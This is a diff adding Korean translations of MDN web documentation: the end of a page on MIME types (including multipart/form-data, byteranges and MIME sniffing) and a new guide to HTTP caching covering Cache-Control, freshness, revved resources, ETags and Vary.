+<p>웹 페이지 내에서 보통 인터프리트되어야 하는 모든 CSS 파일들은 <code>text/css</code> 파일이 되어야 합니다. 대게 서버들은 <code>.css</code> 접미사를 가진 파일들을 CSS 파일이라고 인식하지 못해  <code>text/plain</code> 혹은 <code>application/octet-stream</code> MIME 타입으로 전송합니다: 이런 경우 대부분의 브라우저들이 CSS 파일이라고 인식하지 못하며 조용히 무시될 겁니다. 올바른 타입으로 CSS 파일을 서브하는데 특별한 주의가 필요합니다.</p>
+
+<h3 id="texthtml"><code>text/html</code></h3>
+
+<p>모든 HTML 컨텐츠는 이 타입과 함께 서브되어야 합니다. <code>application/xml+html</code>와 같은 XHTML을 위한 대체 MIME 타입들은 현재에는 대부분 쓸모가 없습니다(HTML5이 이 포맷을 흡수했습니다).</p>
+
+<h3 id="이미지_타입">이미지 타입</h3>
+
+<p>오직 널리 알려지고 웹에 안전하다고 취급되는 소수의 이미지 타입만이 웹 페이지 내에서 사용될 수 있습니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">MIME 타입</th>
+ <th scope="col">이미지 타입</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>image/gif</code></td>
+ <td>GIF 이미지 (무손실 압축, PNG에 의해 대체됨)</td>
+ </tr>
+ <tr>
+ <td><code>image/jpeg</code></td>
+ <td>JPEG 이미지</td>
+ </tr>
+ <tr>
+ <td><code>image/png</code></td>
+ <td>PNG 이미지</td>
+ </tr>
+ <tr>
+ <td><code>image/svg+xml</code></td>
+ <td>SVG 이미지 (벡터 이미지)</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>WebP (<code>image/webp</code>) 추가에 대한 논의가 있지만 새로운 타입의 이미지는 코드 베이스 크기의 증가를 불러오므로, 새로운 보안 문제를 야기할 수도 있어서 브라우저 벤더들은 그것을 수용하기 전에 매우 신중한 분위기입니다.</p>
+
+<p>다른 종류의 이미지들은 웹 문서 내에서 찾아볼 수 있습니다. 예를 들어, 많은 브라우저들은 파비콘 혹은 그와 비슷한 아이콘 이미지 타입을 지원합니다. 개별적으로 이런 컨텍스트 내에서, <code>image/x-icon</code> MIME 타입을 이용해 지원되고 있습니다.</p>
+
+<h3 id="오디오와_비디오_타입">오디오와 비디오 타입</h3>
+
+<p>이미지처럼, HTML은 {{HTMLElement("audio")}}과 {{HTMLElement("video")}} 엘리먼트에 사용하기 위한 지원 타입셋을 정의하지는 않습니다. 그래서 그것들 중에 비교적 작은 그룹이 웹에서 사용될 수 있습니다. <a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에 의해 지원되는 미디어 포맷</a>에서 사용될 수 있는 코덱과 컨테이너 모두를 설명하고 있습니다.</p>
+
+<p>이런 파일들의 MIME 타입은 대부분 컨테이너 포맷을 나타내며 웹 컨텍스트에서 대부분의 타입들은 다음과 같습니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">MIME 타입</th>
+ <th scope="col">오디오 혹은 비디오 타입</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>audio/wave</code><br>
+ <code>audio/wav</code><br>
+ <code>audio/x-wav</code><br>
+ <code>audio/x-pn-wav</code></td>
+ <td>WAVE 컨테이너 포맷 내 오디오 파일. PCM 오디오 코덱 (WAVE codec "1")이 자주 지원되며, 다른 코덱들이 좀 더 제한된 상태로 지원됩니다(PCM 오디오 코덱이 없는 경우).</td>
+ </tr>
+ <tr>
+ <td><code>audio/webm</code></td>
+ <td>WebM 컨테이너 포맷 내 오디오 파일. 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus이 사용됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>video/webm</code></td>
+ <td>WebM 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. VP8 그리고 VP9이 이 안에서 가장 일반적으로 사용되는 비디오 코덱입니다; 가장 일반적인 오디오 코덱인 Vorbis 그리고 Opus가 사용됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>audio/ogg</code></td>
+ <td>OGG 컨테이너 포맷 내 오디오 파일. 이 컨텐이너 내에서는 Vorbis가 가장 일반적으로 사용되는 오디오 코덱입니다.</td>
+ </tr>
+ <tr>
+ <td><code>video/ogg</code></td>
+ <td>OGG 컨테이너 포맷 내, 오디오를 지원 가능한 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은  Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td>
+ </tr>
+ <tr>
+ <td><code>application/ogg</code></td>
+ <td>OGG 컨테이너 포맷을 사용하는 오디오 혹은 비디오 파일. 이 안에서 가장 흔한 비디오 코덱은  Theora 입니다; 흔한 오디오 코덱은 Vorbis입니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="multipartform-data"><code>multipart/form-data</code></h3>
+
+<p><code>multipart/form-data</code>은 브라우저에서 서버로 <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Form</a>의 내용을 전송 시 사용할 수 있습니다. 멀티 파트 문서 형식으로써, 경계(이중 대시 <code>'--'</code> 로 시작되는 문자열)로 구분되어지는 다른 파트들로 구성됩니다. 각 파트는 그 자체로 개체이며 자신만의 HTTP 헤더를 가지는데, 파일 업로드 필드를 위한 헤더로는 {{HTTPHeader("Content-Disposition")}}, 그리고 가장 일반적인 것 중 하나인 {{HTTPHeader("Content-Type")}}이 있습니다({{HTTPHeader("Content-Length")}}은 경계선이 구분자로 사용되므로 무시됩니다).</p>
+
+<pre class="syntaxbox">Content-Type: multipart/form-data; boundary=aBoundaryString
+(other headers associated with the multipart document as a whole)
+
+--aBoundaryString
+Content-Disposition: form-data; name="myFile"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--aBoundaryString
+Content-Disposition: form-data; name="myField"
+
+(data)
+--aBoundaryString
+(more subparts)
+--aBoundaryString--
+
+</pre>
+
+<p>다음은 HTML form입니다:</p>
+
+<pre class="brush: html">&lt;form action="http://localhost:8000/" method="post" enctype="multipart/form-data"&gt;
+ &lt;input type="text" name="myTextField"&gt;
+ &lt;input type="checkbox" name="myCheckBox"&gt;Check&lt;/input&gt;
+ &lt;input type="file" name="myFile"&gt;
+ &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>HTML form은 다음 메시지를 전송하게 됩니다:</p>
+
+<pre>POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myTextField"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="myFile"; filename="test.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+</pre>
+
+<h3 id="multipartbyteranges"><code>multipart/byteranges</code></h3>
+
+<p><code>multipart/byteranges</code>는 브라우저로 회신하는 부분적인 응답 전송의 컨텍스트 내에서 사용됩니다. {{HTTPStatus("206")}}<code> Partial Content</code> 상태 코드가 전송된 경우, MIME 타입은 문서가 각각의 요청된 범위들 중 하나인 몇 가지 파트들로 구성되어 있음을 알려주기 위해 사용됩니다. 다른 멀티파트 타입처럼, {{HTTPHeader("Content-Type")}}은 경계선 문자열을 정의하기 위해 <code>boundary</code> 디렉티브를 사용합니다. 각각의 다른 파트들은 문서의 실제 타입을 가진 {{HTTPHeader("Content-Type")}} 헤더와 그들이 나타내는 범위를 가진 {{HTTPHeader("Content-Range")}}를 지니고 있습니다.</p>
+
+<pre><code>HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" /&gt;
+ &lt;meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+ margin: 0;
+ padding: 0;
+ font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--</code></pre>
+
+<h2 id="정확한_MIME_타입_설정의_중요성">정확한 MIME 타입 설정의 중요성</h2>
+
+<p>대부분의 웹 서버들은 기본 타입 중 하나인 <code>application/octet-stream</code> MIME 타입을 사용해 알려지지 않은 타입의 리소스를 전송합니다; 보안상의 이유로, 대부분의 브라우저들은 그런 리소스에 대한 사용자화된 기본 동작 설정을 허용하지 않으며 그것을 사용하려면 디스크에 저장할 것을 사용자에게 강제합니다. 정확치 않게 구성된 서버들의 몇 가지 일반적 사례들은 다음의 파일 타입에서 일어납니다:</p>
+
+<ul>
+ <li>
+ <p>인코딩된 RAR 파일. 이상적인 것은 인코딩된 파일의 실제 타입을 설정 가능한 것입니다; 이런 일은 대게 불가능합니다(서버가 모르는 타입일 수도 있고 이런 파일들은 다른 타입의 몇몇 리소스들을 포함하고 있을 수도 있습니다). 이런 경우에, <code>application/x-rar-compressed</code> MIME 타입을 전송하도록 서버를 구성하여 사용자가 그에 대한 유용한 기본적인 동작을 정의하지 않게 될 겁니다.</p>
+ </li>
+ <li>
+ <p>오디오와 비디오 파일. 적합한 MIME 타입을 가진 리소스만이 {{ HTMLElement("video") }} 혹은 {{ HTMLElement("audio") }} 엘리먼트 내에서 인식되어 재생될 수 있을 겁니다. <a href="/En/Media_formats_supported_by_the_audio_and_video_elements">오디오와 비디오를 위한 정확한 타입 사용</a>을 확인하시기 바랍니다.</p>
+ </li>
+ <li>
+ <p>개인적인 파일 타입. 개인적인 파일 타입을 서브한 경우 특별한 주의를 기울여야 합니다. 특별한 처리가 불가능하므로 가능하면 <code>application/octet-stream</code> 사용을 피하시기 바랍니다: 대부분의 브라우저들은 이런 포괄적인 MIME 타입에 대한 ("워드에서 열기"와 같은) 기본적인 동작의 정의를 허용하지 않습니다.</p>
+ </li>
+</ul>
+
+<h2 id="MIME_스니핑">MIME 스니핑</h2>
+
+<p>MIME 타입이 없을 때, 혹은 클라이언트가 타입이 잘못 설정됐다고 판단한 어떤 다른 경우에, 브라우저들은 MIME 스니핑을 시도할 수도 있는데, 이는 리소스를 훑어보고 정확한 MIME 타입을 추축해내는 것입니다. 각각의 브라우저들은 이런 과정을 다른 방식으로, 다른 환경 속에서 처리해냅니다. 이런 과정에 관한 몇 가지 보안 관련 사항들이 있는데, 몇몇 MIME 타입들은 실행 가능한 컨텐츠를 나타내고 다른 타입들은 그렇지 않기 때문입니다. 서버들은 {{HTTPHeader("Content-Type")}} 중에 {{HTTPHeader("X-Content-Type-Options")}}를 전송하여 이런 MIME 스니핑을 차단할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Security/Securing_your_site/Configuring_server_MIME_types">서버의 MIME 타입을 적절하게 구성하기</a></li>
+ <li>
+ <p><a href="/en-US/docs/Web/HTML/Supported_media_formats">HTML audio 그리고 video 엘리먼트에서 지원하는 미디어 포맷들</a></p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/caching/index.html b/files/ko/web/http/caching/index.html
new file mode 100644
index 0000000000..3ae3755244
--- /dev/null
+++ b/files/ko/web/http/caching/index.html
@@ -0,0 +1,193 @@
+---
+title: HTTP caching
+slug: Web/HTTP/Caching
+tags:
+ - HTTP
+ - 가이드
+ - 캐싱
+translation_of: Web/HTTP/Caching
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">웹 사이트와 애플리케이션의 성능은 이전에 가져온 리소스들을 재사용함으로써 현저하게 향상될 수 있습니다. 웹 캐시는 레이턴시와 네트워크 트래픽을 줄여줌으로써 리소스를 보여주는 데에 필요한 시간을 줄여줍니다. HTTP 캐싱을 활용하면 웹 사이트가 좀 더 빠르게 반응하도록 만들 수 있습니다.</p>
+
+<h2 id="다른_종류의_캐시들">다른 종류의 캐시들</h2>
+
+<p>캐싱은 주어진 리소스의 복사본을 저장하고 있다가 요청 시에 그것을 제공하는 기술입니다. 웹 캐시가 자신의 저장소 내에 요청된 리소스를 가지고 있다면, 요청을 가로채 원래의 서버로부터 리소스를 다시 다운로드하는 대신 리소스의 복사본을 반환합니다. 이것은 다음과 같은 몇 가지 목표를 달성하게 해줍니다: 모든 클라이언트를 서비스할 필요가 없어지므로 서버의 부하를 완화하고, (캐시가 원래 서버에 비해서) 클라이언트에 더 가까이에 있으므로 성능이 향상됩니다. 즉, 리소스를 회신하는데 더 적은 시간이 들게 됩니다. 웹 사이트에서 캐싱은 높은 성능을 달성하는 데에 주요한 요소입니다. 반면에 모든 리소스가 영원히 변하지 않는 것은 아니므로 리소스가 변하기 전까지만 캐싱하고 변한 이후에는 더이상 캐싱하지 않는 것이 중요합니다.</p>
+
+<p>캐시에는 몇 가지 종류가 있습니다: 크게 사설(private) 혹은 공유(shared) 캐시 두 가지 부류로 분류될 수 있습니다. <em>공유 캐시</em>는 한 명 이상의 사용자가 재사용할 수 있도록 응답을 저장하는 캐시를 말합니다. <em>사설 캐시</em>는 한 명의 사용자만 사용하는 캐시를 말합니다. 이 페이지에서는 거의 대부분 브라우저와 프록시 캐시에 대해서만 다룰 것이나, 그 외에도 더 나은 신뢰도, 성능 그리고 웹 사이트와 웹 애플리케이션의 확장(scaling)을 위해 웹 서버 위에 배포되는 게이트웨이 캐시, CDN, 리버스 프록시 캐시 그리고 로드 밸랜서 등이 있습니다.</p>
+
+<p><img alt="What a cache provide, advantages/disadvantages of shared/private caches." src="https://mdn.mozillademos.org/files/13777/HTTPCachtType.png" style="height: 573px; width: 910px;"></p>
+
+<h3 id="사설_브라우저_캐시">사설 브라우저 캐시</h3>
+
+<p>사설 캐시는 단일 사용자가 전용으로 사용합니다. 브라우저 설정에서 "caching"을 본 적이 있을 겁니다. 브라우저 캐시는 그 사용자에 의하여 <a href="/en-US/docs/Web/HTTP" title="en/HTTP">HTTP</a>를 통해 다운로드된 모든 문서들을 가지고 있습니다. 이 캐시는 서버에 대한 추가적인 요청 없이 뒤로 가기나 앞으로 가기, 저장, 소스로 보기 등을 위해 방문했던 문서들을 사용할 수 있도록 해 줍니다. 또한 유사한 방법으로 캐시된 컨텐츠의 오프라인 브라우징을 개선시킵니다.</p>
+
+<h3 id="공유_프록시_캐시">공유 프록시 캐시</h3>
+
+<p>공유 캐시는 한 명 이상의 사용자에 의해 재사용되는 응답을 저장하는 캐시입니다. 예를 들어, 당신의 회사의 ISP는 많은 사용자들을 서비스하기 위해 지역 네트워크 기반의 일부분으로서 웹 프록시를 설치해뒀을 수도 있는데, 그 덕분에 조회가 많이 되는 리소스들은 몇 번이고 재사용되어 네트워크 트래픽과 레이턴시를 줄여줍니다.</p>
+
+<h2 id="캐싱_동작의_대상">캐싱 동작의 대상</h2>
+
+<p>HTTP 캐싱은 선택적(optional)이지만 캐시된 리소스를 재사용하는 것은 보통 바람직한 일입니다. 하지만, HTTP 캐시들은 일반적으로 {{HTTPMethod("GET")}}에 대한 응답만을 캐싱하며, 다른 메서드들은 제외될 겁니다. 기본 캐시 키(primary cache key)는 요청 메서드 그리고 대상 URI로 구성됩니다(GET 요청만을 대상으로 하므로 URI만 사용되는 경우가 많습니다). 일반적인 캐싱 엔트리의 형태는 다음과 같습니다:</p>
+
+<ul>
+ <li>검색(retrieval) 요청의 성공적인 결과: HTML 문서, 이미지 혹은 파일과 같은 리소스를 포함하는 {{HTTPMethod("GET")}} 요청에 대한 {{HTTPStatus(200)}} (OK) 응답.</li>
+ <li>영구적인 리다이렉트: {{HTTPStatus(301)}} (Moved Permanently) 응답.</li>
+ <li>오류 응답: a {{HTTPStatus(404)}} (Not Found) 결과 페이지.</li>
+ <li>완전하지 않은 결과: {{HTTPStatus(206)}} (Partial Content) 응답.</li>
+ <li>캐시 키로 사용하기에 적절한 무언가가 정의된 경우의 {{HTTPMethod("GET")}} 이외의 응답.</li>
+</ul>
+
+<p>캐시 엔트리는 요청이 컨텐츠 협상의 대상인 경우, 두번째 키에 의해 구별되는 여러 개의 저장된 응답들로 구성될 수도 있습니다. 좀 더 자세한 내용을 참고하시려면 <a href="#Varying_responses">아래에서</a> {{HTTPHeader("Vary")}} 헤더에 대해서 읽어보시기 바랍니다.</p>
+
+<h2 id="캐싱_제어">캐싱 제어</h2>
+
+<h3 id="Cache-control_헤더"><code>Cache-control</code> 헤더</h3>
+
+<p>{{HTTPHeader("Cache-Control")}} HTTP/1.1 기본 헤더 필드는 요청과 응답 양측 모두에 있어 캐싱 메커니즘을 위한 디렉티브를 지정하는데 사용됩니다. 이 헤더 필드가 제공하는 여러 디렉티브들로 캐싱 정책을 정의하고자 한다면 이 헤더를 사용하시기 바랍니다.</p>
+
+<h4 id="캐시하지_않음">캐시하지 않음</h4>
+
+<p>캐시는 클라이언트 요청 혹은 서버 응답에 관해서 어떤 것도 저장해서는 안됩니다. 요청은 서버 측으로 전송되고 전체 응답은 매번 다운로드됩니다.</p>
+
+<pre class="notranslate">Cache-Control: no-store
+</pre>
+
+<h4 id="캐시하지만_재검증">캐시하지만 재검증</h4>
+
+<p>캐시된 복사본을 사용자에게 릴리즈 하기 전에, 유효성 확인을 위해 원 서버로 요청을 보냅니다.</p>
+
+<pre class="notranslate">Cache-Control: no-cache</pre>
+
+<h4 id="사설_캐시와_공개_캐시">사설 캐시와 공개 캐시</h4>
+
+<p>"public" 디렉티브는 응답이 어떤 캐시에 의해서든 캐시되어도 좋다는 것을 가리킵니다. 이것은 HTTP 인증, 혹은 보통 캐시 가능하지 않은 응답 상태 코드를 지닌 페이지가 이제 캐시되어야 할 경우 유용할 수 있습니다.</p>
+
+<p>반면 "private"은 응답이 단일 사용자만을 위한 것이며 공유 캐시에 의해 저장되어서는 안된다는 것을 가리킵니다. 사설 브라우저 캐시는 이런 경우에 응답을 저장할 수 있습니다.</p>
+
+<pre class="notranslate">Cache-Control: private
+Cache-Control: public
+</pre>
+
+<h4 id="만료">만료</h4>
+
+<p>여기서 가장 중요한 디렉티브는 "<code>max-age=&lt;seconds&gt;</code>"로 리소스가 유효하다고 판단되는 최대 시간을 말합니다. 이 디렉티브는 요청 시간에 상대적이며, {{HTTPHeader("Expires")}}가 설정되어 있어도 그보다 우선합니다. 변경되지 않을 파일에 대해, 공격적으로 (긴 시간으로) 캐싱할 수 있습니다. 예를 들어 이미지, CSS 파일 그리고 자바스크립트 파일과 같은 정적 파일들입니다.</p>
+
+<p>좀 더 자세한 내용을 위해, 아래에서 <a href="#유효성Freshness">유효성</a> 섹션을 참고하시기 바랍니다.</p>
+
+<pre class="notranslate">Cache-Control: max-age=31536000</pre>
+
+<h4 id="검증">검증</h4>
+
+<p>"<code>must-revalidate</code>" 디렉티브 사용 시, 캐시는 오래된 리소스를 사용하기 전에 그 상태를 확인하고 만료된 리소스는 사용하지 말아야 합니다. 좀 더 자세한 내용은, 아래에서 <a href="#캐시_검증">검증</a> 섹션을 참고하시기 바랍니다.</p>
+
+<pre class="notranslate">Cache-Control: must-revalidate</pre>
+
+<h3 id="Pragma_헤더"><code>Pragma</code> 헤더</h3>
+
+<p>{{HTTPHeader("Pragma")}}는 HTTP/1.0 헤더입니다. <code>Pragma: no-cache</code>는 캐시가 검증을 위해 원래 서버에 요청을 보내도록 강제한다는 점에서 <code>Cache-Control: no-cache</code>와 유사합니다. 그러나 <code>Pragma</code>는 HTTP 응답에 대해 명세되지 않았으므로 일반적인 HTTP/1.1 <code>Cache-Control</code> 헤더를 신뢰성 있게 대체할 수 없습니다.</p>
+
+<p><code>Cache-Control</code> HTTP/1.1 헤더가 없는 HTTP/1.0 클라이언트와의 하위 호환성을 위한 경우에만 <code>Pragma</code>를 사용하여야 합니다.</p>
+
+<h2 id="유효성Freshness">유효성(Freshness)</h2>
+
+<p>리소스가 캐시 내에 저장되고 나면, 이론적으로는 영원히 캐시에 의해 서비스될 수도 있습니다. 캐시는 유한한 저장 공간을 가지므로 아이템들은 주기적으로 스토리지에서 제거됩니다. 이런 과정을 <em>캐시 축출(cache eviction)</em>이라고 부릅니다. 반면 어떤 리소스들은 서버 상에서 변경될 수 있고, 캐시가 갱신되어야 합니다. HTTP가 클라이언트-서버 프로토콜이므로, 리소스가 변경됐을 때 서버는 캐시와 클라이언트에 접근할 수 없습니다; 서버는 리소스에 대한 만료 시간을 알려줄 수밖에 없습니다. 만료 시간 이전에는, 리소스가 <em>유효(fresh)</em>합니다; 만료 시간 이후의 리소스는 <em>실효(stale)</em>됩니다. 축출 알고리즘은 대개 실효된 리소스보다 유효한 리소스에 특권을 부여합니다. 실효된 리소스는 축출되거나 무시되지 않는다는 것을 알아두시기 바랍니다; 캐시가 실효된 리소스에 대한 요청을 받은 경우, 이 리소스가 실제로 아직 유효한지 아닌지를 확인하기 위해 {{HTTPHeader("If-None-Match")}}와 함께 요청을 전달합니다. 만약 그렇다면, 서버는 요청된 리소스 본문을 전송하지 않고 {{HTTPStatus("304")}} (Not Modified) 헤더를 돌려보내 대역폭을 절약합니다.</p>
+
+<p>다음은 이런 과정에 대한 공유 캐시 프록시를 이용한 예제입니다:</p>
+
+<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
+
+<p>유효 수명은 몇가지 헤더에 근거해 계산됩니다. "<code>Cache-control: max-age=N</code>" 헤더가 설정된 경우, 유효 수명은 N과 동일합니다. 만약 이 헤더가 없다면, 이런 경우가 매우 많습니다만, {{HTTPHeader("Expires")}} 헤더가 있는지 없는지를 검사합니다. <code>Expires</code> 헤더가 존재한다면, 그것의 값에서 {{HTTPHeader("Date")}} 헤더의 값을 뺀 결과가 유효 수명이 됩니다.</p>
+
+<h3 id="유효성_검사_휴리스틱">유효성 검사 휴리스틱</h3>
+
+<p>원래 서버가 명시적으로 유효성을 지정하지 않았으면 (예를 들어 {{HTTPHeader("Cache-Control")}} 또는 {{HTTPHeader("Expires")}} 헤더를 사용해서), 휴리스틱으로 유효 기간을 추정합니다.</p>
+
+<p>이 경우에는 {{HTTPHeader("Last-Modified")}} 헤더를 찾습니다. 이 헤더가 있다면, 캐시의 유효 수명은 <code>Date</code> 헤더 값에서 <code>Last-modified</code> 헤더 값을 뺀 값을 10으로 나눈 결과가 됩니다.<br>
+ 만료 시간은 다음과 같이 계산됩니다:</p>
+
+<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge
+</pre>
+
+<p><code>responseTime</code>은 브라우저가 응답을 수신한 시간을 말합니다. 더 많은 정보를 위해서는 <a href="https://tools.ietf.org/html/rfc7234#section-4.2.2">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2.  Calculating Heuristic Freshness</a>를 참조하시기 바랍니다.</p>
+
+<h3 id="리비전된Revved_리소스">리비전된(Revved) 리소스</h3>
+
+<p>우리가 캐시된 리소스들을 많이 사용할수록, 웹 사이트의 응답성과 성능은 점점 더 좋아질 것입니다. 이것을 최적화하기 위한 좋은 방법은 만료 시간을 가능한 더 먼 미래로 설정하는 것입니다. 이것은 정기적으로나 자주 업데이트되는 리소스에 대해서는 가능하지만, 드물게 업데이트되는 리소스의 경우에는 문제가 됩니다. 이런 리소스들을 캐시하면 이득이 크지만, 업데이트하기가 매우 어렵기 때문입니다. 캐시한 리소스로부터 최대한 활용되는 리소스들로, 앞서 얘기한 방법 덕분에 이러한 리소스들을 갱신하기 더 어렵게 됩니다. 대표적으로 각 웹 페이지에 포함되고 링크된 기술적인 리소스들이 그렇습니다: 자바스크립트와 CSS 파일들의 변경은 드물지만, 그것들이 변경되었을 때에는 빠르게 갱신되기를 원할 겁니다.</p>
+
+<p>웹 개발자들은 Steve Sounders가 <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>이라고 불렀던 기술을 발명했습니다. 드물게 업데이트되는 파일들은 특정한 방법으로 이름붙여집니다: 파일들의 URL내에, 보통 파일명에, 수정(혹은 버전) 번호가 추가됩니다. 그렇게 해서 해당 리소스의 각각의 새로운 수정본 자체는 결코 변경되지 않으며, 보통 1년 혹은 그 이상의 아주 먼 미래로 만료 시간이 설정될 수 있습니다. 새로운 버전을 가지기 위해, 해당 리소스와의 모든 연결(link)들은 전부 변경되어야 하며, 그것이 이 방법의 단점입니다: 이 추가적인 복잡함은 보통 웹 개발자들이 사용하는 툴체인에 의해 다루어집니다. 드물게 변경되는 리소스들이 변경되는 경우 자주 변경되는 리소스에 추가적인 변경을 합니다. 이런 리소스들이 읽혀지는 경우, 다른 리소스들의 새로운 버전들도 읽혀지게 됩니다.</p>
+
+<p>이 기술은 추가적인 이점도 가지고 있습니다: 캐시된 두 개의 리소스를 동시에 갱신해도 한 리소스의 오래된 버전이 다른 리소스의 새로운 버전과 함께 혼합되어 사용되는 경우를 초래하지 않을 것입니다. 이것은 웹 사이트가 상호 간의 의존성을 가지고 있는 CSS 스타일시트와 자바스크립트를 가지고 있는 경우 (같은 HTML 요소를 참조하기에 서로 의존하게 됩니다) 매우 중요합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p>
+
+<p>리소스에 추가되는 수정 버전은 1.1.3과 같은 전통적인 버전 번호 형식이 아니어도 되고, 단조 증가하는 숫자들이 아니어도 됩니다. 그것은 해시 혹은 날짜와 같이 충돌만 되지 않는다면 무엇이든지 될 수 있습니다.</p>
+
+<h2 id="캐시_검증">캐시 검증</h2>
+
+<p>캐시된 문서의 만료 시간이 가까워져오면, 문서가 검증되거나 다시 불러오게 됩니다. 검증은 서버가 <em>강한 검증</em> 혹은 <em>약한 검증</em> 중 하나라도 제공하는 경우에만 일어날 수 있습니다.</p>
+
+<p>재검증은 사용자가 리로드 버튼을 누를 경우 촉발됩니다. 재검증은 캐시된 응답이 "<code>Cache-control: must-revalidate</code>" 헤더를 포함하고 있는 경우 일반적인 브라우징 중에도 촉발될 수 있습니다. 또 다른 요인은 <code>Advanced-&gt;Cache</code> 환경설정 패널 내에 캐시 검증 환경 설정입니다. 거기에는 문서가 로드될 때마다 검증을 강제할 수 있는 옵션이 있습니다.</p>
+
+<h3 id="ETags">ETags</h3>
+
+<p>{{HTTPHeader("ETag")}} 응답 헤더는 강한 검증으로써 사용될 수 있는 <em>사용자 에이전트에게 있어 불투명한(opaque)</em> 값입니다. 그것은 브라우저와 같은 HTTP 사용자 에이전트가 이 문자열이 무엇을 표현하는지 알 수 없고, 그것의 값이 무엇이 될지를 예측할 수 없다는 것을 의미합니다. <code>ETag</code> 헤더가 리소스에 대한 응답의 일부라면, 클라이언트는 이후 요청의 해더 내에 (캐시된 리소스를 검증하기 위해) {{HTTPHeader("If-None-Match")}}를 줄 수 있습니다.</p>
+
+<h3 id="Last-Modified">Last-Modified</h3>
+
+<p>{{HTTPHeader("Last-Modified")}} 응답 헤더는 약한 검증으로써 사용될 수 있습니다. 그것이 1초의 해상도만 가질 수 있기에 약하다고 간주됩니다. <code>Last-Modified</code> 헤더가 응답 내에 존재하면, 클라이언트는 캐시된 문서를 검증하기 위해 {{HTTPHeader("If-Modified-Since")}} 요청 헤더를 줄 수 있습니다.</p>
+
+<p>검증 요청을 받으면, 서버는 검증 요청을 무시하고 일반적인 {{HTTPStatus(200)}} <code>OK</code>으로 응답하거나, 브라우저에게 캐시된 복사본을 사용하도록 지시하기 위해 {{HTTPStatus(304)}} <code>Not Modified</code> (본문을 비워둔 상태로)를 반환할 수 있습니다. 후자의 응답은 캐시된 문서의 만료 시간을 갱신하는 헤더를 포함할 수도 있습니다.</p>
+
+<h2 id="상황에_따른_응답">상황에 따른 응답</h2>
+
+<p>{{HTTPHeader("Vary")}} HTTP 응답 헤더는 원 서버로부터 새로운 리소스를 요청해야 하는지 캐시된 응답이 사용될 수 있는지를 결정하기 위해 이후의 요청 헤더를 대조하는 방식을 결정합니다.</p>
+
+<p>캐시가 <code>Vary</code> 헤더 필드를 지닌 요청을 수신한 경우, <code>Vary</code> 헤더에 의해 지정된 모든 헤더 필드들이 원래의 (캐시된) 요청과 새로운 요청 사이에서 일치하지 않는다면 그 캐시된 응답을 사용해서는 안 됩니다.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>이 기능은 컨텐츠를 비압축 또는 (여러 가지) 압축 포맷으로 캐시될 수 있도록 하고, 유저 에이전트가 지원하는 포맷에 따라 제공하도록 할 때 흔히 사용됩니다. 예를 들어 서버는 <code>Vary: Accept-Encoding</code>을 설정하여 특정한 집합의 인코딩을 지원하는 (예를 들어 <code>Accept-Encoding: gzip,deflate,sdch</code>) 모든 요청들에 대해 각각 다른 버전의 리소스를 캐시하도록 할 수 있습니다.</p>
+
+<pre class="notranslate">Vary: <code>Accept-Encoding</code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>Vary</code>는 주의해서 사용하기 바랍니다 — 캐시의 효과를 떨어뜨리기 쉽습니다! 캐시 서버는 중복된 캐시 엔트리와 서버로의 불필요한 요청을 줄이기 위해 <a href="#정규화">정규화</a>를 하여야 합다. <code>Vary</code>에 지정된 헤더나 헤더 값이 여러 가지인 경우에는 특히 그렇습니다.</p>
+</div>
+
